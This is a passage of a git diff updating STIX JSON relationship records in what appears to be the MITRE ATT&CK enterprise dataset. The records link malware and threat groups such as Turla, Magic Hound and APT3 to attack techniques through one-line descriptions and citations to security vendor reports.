+++ b/enterprise-attack/relationship/relationship--863c1d57-db93-49a9-a953-eb7c2d6b2e5b.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--c4ee8e8a-a63b-4c67-8c53-c08878667113",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--863c1d57-db93-49a9-a953-eb7c2d6b2e5b",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "checks for processes associated with anti-virus vendors.",
+            "source_ref": "malware--196f1f32-e0c2-4d46-99cd-234d4b6befe1",
+            "target_ref": "attack-pattern--241814ae-de3f-4656-b49e-f9a80764d4b7",
+            "external_references": [
+                {
+                    "source_name": "Forcepoint Felismus Mar 2017",
+                    "description": "Somerville, L. and Toro, A. (2017, March 30). Playing Cat & Mouse: Introducing the Felismus Malware. Retrieved November 16, 2017.",
+                    "url": "https://blogs.forcepoint.com/security-labs/playing-cat-mouse-introducing-felismus-malware"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--863d6b6f-9e13-4925-a736-5e719a10a0b8.json b/enterprise-attack/relationship/relationship--863d6b6f-9e13-4925-a736-5e719a10a0b8.json
index 1672ad28c7..6b7b91f102 100644
--- a/enterprise-attack/relationship/relationship--863d6b6f-9e13-4925-a736-5e719a10a0b8.json
+++ b/enterprise-attack/relationship/relationship--863d6b6f-9e13-4925-a736-5e719a10a0b8.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--01d3bc32-8267-48a2-aa18-c396a0325ec4",
+    "id": "bundle--8bd28671-9a58-4bcf-ad63-07426a74eb86",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--863d6b6f-9e13-4925-a736-5e719a10a0b8",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.019Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--9a902722-cecd-4fbe-a6c9-49333aa0f8c2",
             "target_ref": "attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735",
diff --git a/enterprise-attack/relationship/relationship--86461465-cb29-4fc9-8fa8-8956c0f94536.json b/enterprise-attack/relationship/relationship--86461465-cb29-4fc9-8fa8-8956c0f94536.json
index 5a83a3a83e..907aa1a922 100644
--- a/enterprise-attack/relationship/relationship--86461465-cb29-4fc9-8fa8-8956c0f94536.json
+++ b/enterprise-attack/relationship/relationship--86461465-cb29-4fc9-8fa8-8956c0f94536.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--6b6cbae9-c6fd-4f08-b479-2e6e37159874",
+    "id": "bundle--ac486432-c5d0-4823-8931-ec69c635cf15",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--86461465-cb29-4fc9-8fa8-8956c0f94536",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.065Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Dust Storm has encoded payloads with a single-byte XOR, both skipping the key itself and zeroing in an attempt to avoid exposing the key.",
             "source_ref": "intrusion-set--ae41895a-243f-4a65-b99b-d85022326c31",
diff --git a/enterprise-attack/relationship/relationship--865a5b25-6908-4ad9-a81d-33f3cf48e357.json b/enterprise-attack/relationship/relationship--865a5b25-6908-4ad9-a81d-33f3cf48e357.json
index 579b02b943..ba633cf79d 100644
--- a/enterprise-attack/relationship/relationship--865a5b25-6908-4ad9-a81d-33f3cf48e357.json
+++ b/enterprise-attack/relationship/relationship--865a5b25-6908-4ad9-a81d-33f3cf48e357.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--0d352eff-e012-44a7-865f-ec1e1b5ab1f3",
+    "id": "bundle--c6854ca9-9448-4974-8bbe-626ee0863a2e",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--865a5b25-6908-4ad9-a81d-33f3cf48e357",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "RTM uses HTTP POST requests with data formatted using a custom protocol.",
             "source_ref": "malware--92ec0cbd-2c30-44a2-b270-73f4ec949841",
diff --git a/enterprise-attack/relationship/relationship--86b2980a-dd9f-4553-8f65-69f75f0f4332.json b/enterprise-attack/relationship/relationship--86b2980a-dd9f-4553-8f65-69f75f0f4332.json
new file mode 100644
index 0000000000..db2f831a02
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--86b2980a-dd9f-4553-8f65-69f75f0f4332.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--ce421292-f928-4964-9f65-8cde666cb8e0",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--86b2980a-dd9f-4553-8f65-69f75f0f4332",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "Helminth can download additional files.",
+            "source_ref": "malware--eff1a885-6f90-42a1-901f-eef6e7a1905e",
+            "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add",
+            "external_references": [
+                {
+                    "source_name": "Palo Alto OilRig May 2016",
+                    "description": "Falcone, R. and Lee, B.. (2016, May 26). The OilRig Campaign: Attacks on Saudi Arabian Organizations Deliver Helminth Backdoor. Retrieved May 3, 2017.",
+                    "url": "http://researchcenter.paloaltonetworks.com/2016/05/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--86c9bd0f-4251-4103-9be5-65079750c495.json b/enterprise-attack/relationship/relationship--86c9bd0f-4251-4103-9be5-65079750c495.json
index 153f07bad3..6028a46cb9 100644
--- a/enterprise-attack/relationship/relationship--86c9bd0f-4251-4103-9be5-65079750c495.json
+++ b/enterprise-attack/relationship/relationship--86c9bd0f-4251-4103-9be5-65079750c495.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--f61b79ae-53cc-414b-9a17-3da118a749c2",
+    "id": "bundle--bb54e7a4-75a0-41a3-b445-c9a3f86fe455",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--86c9bd0f-4251-4103-9be5-65079750c495",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Shamoon attempts to overwrite operating system files with image files.",
             "source_ref": "malware--8901ac23-6b50-410c-b0dd-d8174a86f9b3",
diff --git a/enterprise-attack/relationship/relationship--86ebda8c-df0c-4d76-970b-27bf392606a7.json b/enterprise-attack/relationship/relationship--86ebda8c-df0c-4d76-970b-27bf392606a7.json
new file mode 100644
index 0000000000..b29a768e8e
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--86ebda8c-df0c-4d76-970b-27bf392606a7.json
@@ -0,0 +1,33 @@
+{
+    "type": "bundle",
+    "id": "bundle--fc5e8b62-c5c5-4239-af5e-579414bdde5a",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--86ebda8c-df0c-4d76-970b-27bf392606a7",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "Gazer performs thread execution hijacking to inject its orchestrator into a running thread from a remote process. Gazer performs a separate injection of its communication module into an Internet accessible process through which it performs C2.",
+            "source_ref": "malware--76abb3ef-dafd-4762-97cb-a35379429db4",
+            "target_ref": "attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d",
+            "external_references": [
+                {
+                    "source_name": "ESET Gazer Aug 2017",
+                    "description": "ESET. (2017, August). Gazing at Gazer: Turla\u2019s new second stage backdoor. Retrieved September 14, 2017.",
+                    "url": "https://www.welivesecurity.com/wp-content/uploads/2017/08/eset-gazer.pdf"
+                },
+                {
+                    "source_name": "Securelist WhiteBear Aug 2017",
+                    "description": "Kaspersky Lab's Global Research & Analysis Team. (2017, August 30). Introducing WhiteBear. Retrieved September 21, 2017.",
+                    "url": "https://securelist.com/introducing-whitebear/81638/"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--87131e3c-9d73-4910-a56d-f917d6660a7d.json b/enterprise-attack/relationship/relationship--87131e3c-9d73-4910-a56d-f917d6660a7d.json
index 854aef8828..eaeb3c1cb2 100644
--- a/enterprise-attack/relationship/relationship--87131e3c-9d73-4910-a56d-f917d6660a7d.json
+++ b/enterprise-attack/relationship/relationship--87131e3c-9d73-4910-a56d-f917d6660a7d.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--b828016f-b262-4be9-b2a6-d933329e7d8c",
+    "id": "bundle--363d719b-3402-4297-b7dd-27ce2cfbcfc5",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--87131e3c-9d73-4910-a56d-f917d6660a7d",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.021Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--d5dce4b9-f1fa-4c03-aff9-ce177246cb64",
             "target_ref": "attack-pattern--f44731de-ea9f-406d-9b83-30ecbb9b4392",
diff --git a/enterprise-attack/relationship/relationship--8765dd7e-33cc-4040-927d-bf0aa16d3d79.json b/enterprise-attack/relationship/relationship--8765dd7e-33cc-4040-927d-bf0aa16d3d79.json
new file mode 100644
index 0000000000..e34239e5e5
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--8765dd7e-33cc-4040-927d-bf0aa16d3d79.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--f58dd78e-eccd-4f1d-be80-0b60048fd25f",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--8765dd7e-33cc-4040-927d-bf0aa16d3d79",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "performs a connection test to discover remote systems in the network ",
+            "source_ref": "malware--f6d1d2cb-12f5-4221-9636-44606ea1f3f8",
+            "target_ref": "attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735",
+            "external_references": [
+                {
+                    "source_name": "Symantec Buckeye",
+                    "description": "Symantec Security Response. (2016, September 6). Buckeye cyberespionage group shifts gaze from US to Hong Kong. Retrieved September 26, 2016.",
+                    "url": "http://www.symantec.com/connect/blogs/buckeye-cyberespionage-group-shifts-gaze-us-hong-kong"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--877a67b0-5dea-467c-9da1-8eee3bcc19a6.json b/enterprise-attack/relationship/relationship--877a67b0-5dea-467c-9da1-8eee3bcc19a6.json
new file mode 100644
index 0000000000..774a0b9a6f
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--877a67b0-5dea-467c-9da1-8eee3bcc19a6.json
@@ -0,0 +1,20 @@
+{
+    "type": "bundle",
+    "id": "bundle--308cb505-77ce-4828-9d24-5426560035b5",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--877a67b0-5dea-467c-9da1-8eee3bcc19a6",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "source_ref": "intrusion-set--025bdaa9-897d-4bad-afa6-013ba5734653",
+            "target_ref": "malware--a8d3d497-2da9-4797-8e0b-ed176be08654",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--8793b289-4b74-4119-8561-a9ad27dacdff.json b/enterprise-attack/relationship/relationship--8793b289-4b74-4119-8561-a9ad27dacdff.json
index a0e55850cb..89f1c9d1d6 100644
--- a/enterprise-attack/relationship/relationship--8793b289-4b74-4119-8561-a9ad27dacdff.json
+++ b/enterprise-attack/relationship/relationship--8793b289-4b74-4119-8561-a9ad27dacdff.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--0b1c072e-74d3-4f3f-87fe-e379f5134ebb",
+    "id": "bundle--6a8d19bd-7e3a-4c86-87fa-118c9b376f94",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--8793b289-4b74-4119-8561-a9ad27dacdff",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "BBSRAT has been seen persisting via COM hijacking through replacement of the COM object for MruPidlList <code>{42aedc87-2188-41fd-b9a3-0c966feabec1}</code> or Microsoft WBEM New Event Subsystem <code>{F3130CDB-AA52-4C3A-AB32-85FFC23AF9C1}</code> depending on the system's CPU architecture.",
             "source_ref": "malware--64d76fa5-cf8f-469c-b78c-1a4f7c5bad80",
diff --git a/enterprise-attack/relationship/relationship--8797579b-e3be-4209-a71b-255a4d08243d.json b/enterprise-attack/relationship/relationship--8797579b-e3be-4209-a71b-255a4d08243d.json
index 18ca5f42b1..a0418c4aea 100644
--- a/enterprise-attack/relationship/relationship--8797579b-e3be-4209-a71b-255a4d08243d.json
+++ b/enterprise-attack/relationship/relationship--8797579b-e3be-4209-a71b-255a4d08243d.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--5dc93eb6-6e59-454d-bac7-cfad817f93a3",
+    "id": "bundle--3ea07d43-a171-41d1-ae9d-022f7aa2061f",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--8797579b-e3be-4209-a71b-255a4d08243d",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.051Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--f3bdec95-3d62-42d9-a840-29630f6cdc1a",
             "target_ref": "malware--b42378e0-f147-496f-992a-26a49705395b",
diff --git a/enterprise-attack/relationship/relationship--87b74ba7-99c4-464c-86d2-1dd8c8b578b1.json b/enterprise-attack/relationship/relationship--87b74ba7-99c4-464c-86d2-1dd8c8b578b1.json
index b7d3d40a73..74d9188ceb 100644
--- a/enterprise-attack/relationship/relationship--87b74ba7-99c4-464c-86d2-1dd8c8b578b1.json
+++ b/enterprise-attack/relationship/relationship--87b74ba7-99c4-464c-86d2-1dd8c8b578b1.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--7f5dd400-c320-4e02-bd63-cfca8ff7a607",
+    "id": "bundle--9c79a423-61a5-485c-9770-8b19c900d3af",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--87b74ba7-99c4-464c-86d2-1dd8c8b578b1",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.045Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Turla surveys a system upon check-in to discover the system time by using the <code>net time</code> command.",
             "source_ref": "intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6",
@@ -17,7 +17,7 @@
                 {
                     "source_name": "Kaspersky Turla",
                     "description": "Kaspersky Lab's Global Research and Analysis Team. (2014, August 7). The Epic Turla Operation: Solving some of the mysteries of Snake/Uroburos. Retrieved December 11, 2014.",
-                    "url": "https://securelist.com/analysis/publications/65545/the-epic-turla-operation/"
+                    "url": "https://securelist.com/the-epic-turla-operation/65545/"
                 }
             ],
             "object_marking_refs": [
diff --git a/enterprise-attack/relationship/relationship--87b8b451-bf9b-4e93-b591-05ef502970f5.json b/enterprise-attack/relationship/relationship--87b8b451-bf9b-4e93-b591-05ef502970f5.json
new file mode 100644
index 0000000000..b89ea2793e
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--87b8b451-bf9b-4e93-b591-05ef502970f5.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--bc6fb232-d67d-4b9d-abd7-876ad7157fd9",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--87b8b451-bf9b-4e93-b591-05ef502970f5",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "Magic Hound malware can list a victim's logical drives and the type, as well the total/free space of the fixed devices. Other malware can list a directory's contents.",
+            "source_ref": "intrusion-set--f9d6633a-55e6-4adc-9263-6ae080421a13",
+            "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18",
+            "external_references": [
+                {
+                    "source_name": "Unit 42 Magic Hound Feb 2017",
+                    "description": "Lee, B. and Falcone, R. (2017, February 15). Magic Hound Campaign Attacks Saudi Targets. Retrieved December 27, 2017.",
+                    "url": "https://researchcenter.paloaltonetworks.com/2017/02/unit42-magic-hound-campaign-attacks-saudi-targets/"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--87ddc052-0933-4722-9fb2-4653c4a3663c.json b/enterprise-attack/relationship/relationship--87ddc052-0933-4722-9fb2-4653c4a3663c.json
new file mode 100644
index 0000000000..309a37048a
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--87ddc052-0933-4722-9fb2-4653c4a3663c.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--6e370e0b-36fa-4249-a583-c3829fed2f0e",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--87ddc052-0933-4722-9fb2-4653c4a3663c",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "APT3 has been known to stage files for exfiltration in a single location. ",
+            "source_ref": "intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9",
+            "target_ref": "attack-pattern--7dd95ff6-712e-4056-9626-312ea4ab4c5e",
+            "external_references": [
+                {
+                    "source_name": "aptsim",
+                    "description": "valsmith. (2012, September 21). More on APTSim. Retrieved September 28, 2017.",
+                    "url": "http://carnal0wnage.attackresearch.com/2012/09/more-on-aptsim.html"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--87e080cf-b8c0-4679-bcfb-ff77ab7698f3.json b/enterprise-attack/relationship/relationship--87e080cf-b8c0-4679-bcfb-ff77ab7698f3.json
index 724b38d25d..148ec77d98 100644
--- a/enterprise-attack/relationship/relationship--87e080cf-b8c0-4679-bcfb-ff77ab7698f3.json
+++ b/enterprise-attack/relationship/relationship--87e080cf-b8c0-4679-bcfb-ff77ab7698f3.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--401d529a-1c75-414a-8ed1-6a136486157a",
+    "id": "bundle--2728dc83-b117-4e87-b2ab-0643d54d82d8",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--87e080cf-b8c0-4679-bcfb-ff77ab7698f3",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "The initial beacon packet for Misdat contains the operating system version of the victim.",
             "source_ref": "malware--0db09158-6e48-4e7c-8ce7-2b10b9c0c039",
diff --git a/enterprise-attack/relationship/relationship--87f4c47d-b94d-4a1e-9c4b-be671a99e6f0.json b/enterprise-attack/relationship/relationship--87f4c47d-b94d-4a1e-9c4b-be671a99e6f0.json
index 53dddb0fa2..93b50b68be 100644
--- a/enterprise-attack/relationship/relationship--87f4c47d-b94d-4a1e-9c4b-be671a99e6f0.json
+++ b/enterprise-attack/relationship/relationship--87f4c47d-b94d-4a1e-9c4b-be671a99e6f0.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--05b1c965-af30-44c8-9ecb-162bd2daa32f",
+    "id": "bundle--8abf9a97-7c65-4b97-a952-7b69fa3aa149",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--87f4c47d-b94d-4a1e-9c4b-be671a99e6f0",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.021Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--9ab7de33-99b2-4d8d-8cf3-182fa0015cc2",
             "target_ref": "attack-pattern--03259939-0b57-482f-8eb5-87c0e0d54334",
diff --git a/enterprise-attack/relationship/relationship--87fb2671-e71a-4630-bde2-67e546fdeaa6.json b/enterprise-attack/relationship/relationship--87fb2671-e71a-4630-bde2-67e546fdeaa6.json
index 3950e19854..1cb554ed5a 100644
--- a/enterprise-attack/relationship/relationship--87fb2671-e71a-4630-bde2-67e546fdeaa6.json
+++ b/enterprise-attack/relationship/relationship--87fb2671-e71a-4630-bde2-67e546fdeaa6.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--c14ea687-74c8-4bd7-9b68-e32f39a3eec6",
+    "id": "bundle--8bb04d1a-38e0-42fe-8561-cfc60bb12139",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--87fb2671-e71a-4630-bde2-67e546fdeaa6",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "RTM encrypts C2 traffic with a custom RC4 variant.",
             "source_ref": "malware--92ec0cbd-2c30-44a2-b270-73f4ec949841",
diff --git a/enterprise-attack/relationship/relationship--8859897c-66f5-4754-8cb8-2c6e6b8b8e2e.json b/enterprise-attack/relationship/relationship--8859897c-66f5-4754-8cb8-2c6e6b8b8e2e.json
index 3ca95b6ed8..8e8c3d96f1 100644
--- a/enterprise-attack/relationship/relationship--8859897c-66f5-4754-8cb8-2c6e6b8b8e2e.json
+++ b/enterprise-attack/relationship/relationship--8859897c-66f5-4754-8cb8-2c6e6b8b8e2e.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--66d86aed-5c61-4b1b-9160-34b94fd8e48e",
+    "id": "bundle--e4d08bcd-0aaf-4203-8377-43e8491db591",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--8859897c-66f5-4754-8cb8-2c6e6b8b8e2e",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.064Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--88b7dbc2-32d3-4e31-af2f-3fc24e1582d7",
             "target_ref": "malware--7551188b-8f91-4d34-8350-0d0c57b2b913",
diff --git a/enterprise-attack/relationship/relationship--88896f55-5606-4b21-8616-e7965a863dd8.json b/enterprise-attack/relationship/relationship--88896f55-5606-4b21-8616-e7965a863dd8.json
index 08e8c94d76..8e3725731c 100644
--- a/enterprise-attack/relationship/relationship--88896f55-5606-4b21-8616-e7965a863dd8.json
+++ b/enterprise-attack/relationship/relationship--88896f55-5606-4b21-8616-e7965a863dd8.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--9226a379-82cf-4c8a-9cb5-ef5831150afe",
+    "id": "bundle--69e91ac4-c1e8-4ad2-a3b2-162676ccd982",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--88896f55-5606-4b21-8616-e7965a863dd8",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.069Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Some Lazarus Group malware uses a list of ordered port numbers to choose a port for C2 traffic, which includes commonly used ports such as 443, 53, 80, 25, and 8080.",
             "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a",
diff --git a/enterprise-attack/relationship/relationship--88ad4d2e-745e-4712-8901-e772dfaf3298.json b/enterprise-attack/relationship/relationship--88ad4d2e-745e-4712-8901-e772dfaf3298.json
index dfd80bf414..30f3634e0d 100644
--- a/enterprise-attack/relationship/relationship--88ad4d2e-745e-4712-8901-e772dfaf3298.json
+++ b/enterprise-attack/relationship/relationship--88ad4d2e-745e-4712-8901-e772dfaf3298.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--5fa9c1a8-70c9-4899-96df-94679ed67bc1",
+    "id": "bundle--0c94c37e-978c-44b0-aaa7-b0b3b15a2269",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--88ad4d2e-745e-4712-8901-e772dfaf3298",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Turla has used valid digital certificates from Sysprint AG to sign its Epic dropper.",
             "source_ref": "malware--6b62e336-176f-417b-856a-8552dd8c44e1",
@@ -17,7 +17,7 @@
                 {
                     "source_name": "Kaspersky Turla",
                     "description": "Kaspersky Lab's Global Research and Analysis Team. (2014, August 7). The Epic Turla Operation: Solving some of the mysteries of Snake/Uroburos. Retrieved December 11, 2014.",
-                    "url": "https://securelist.com/analysis/publications/65545/the-epic-turla-operation/"
+                    "url": "https://securelist.com/the-epic-turla-operation/65545/"
                 }
             ],
             "object_marking_refs": [
diff --git a/enterprise-attack/relationship/relationship--88c50625-6d02-42fb-aa82-4315a532b754.json b/enterprise-attack/relationship/relationship--88c50625-6d02-42fb-aa82-4315a532b754.json
new file mode 100644
index 0000000000..64063dbae9
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--88c50625-6d02-42fb-aa82-4315a532b754.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--fd925ded-d42d-48a3-865b-f060e127ef60",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--88c50625-6d02-42fb-aa82-4315a532b754",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "Magic Hound malware gathers the victim's local IP address, MAC address, and external IP address.",
+            "source_ref": "intrusion-set--f9d6633a-55e6-4adc-9263-6ae080421a13",
+            "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0",
+            "external_references": [
+                {
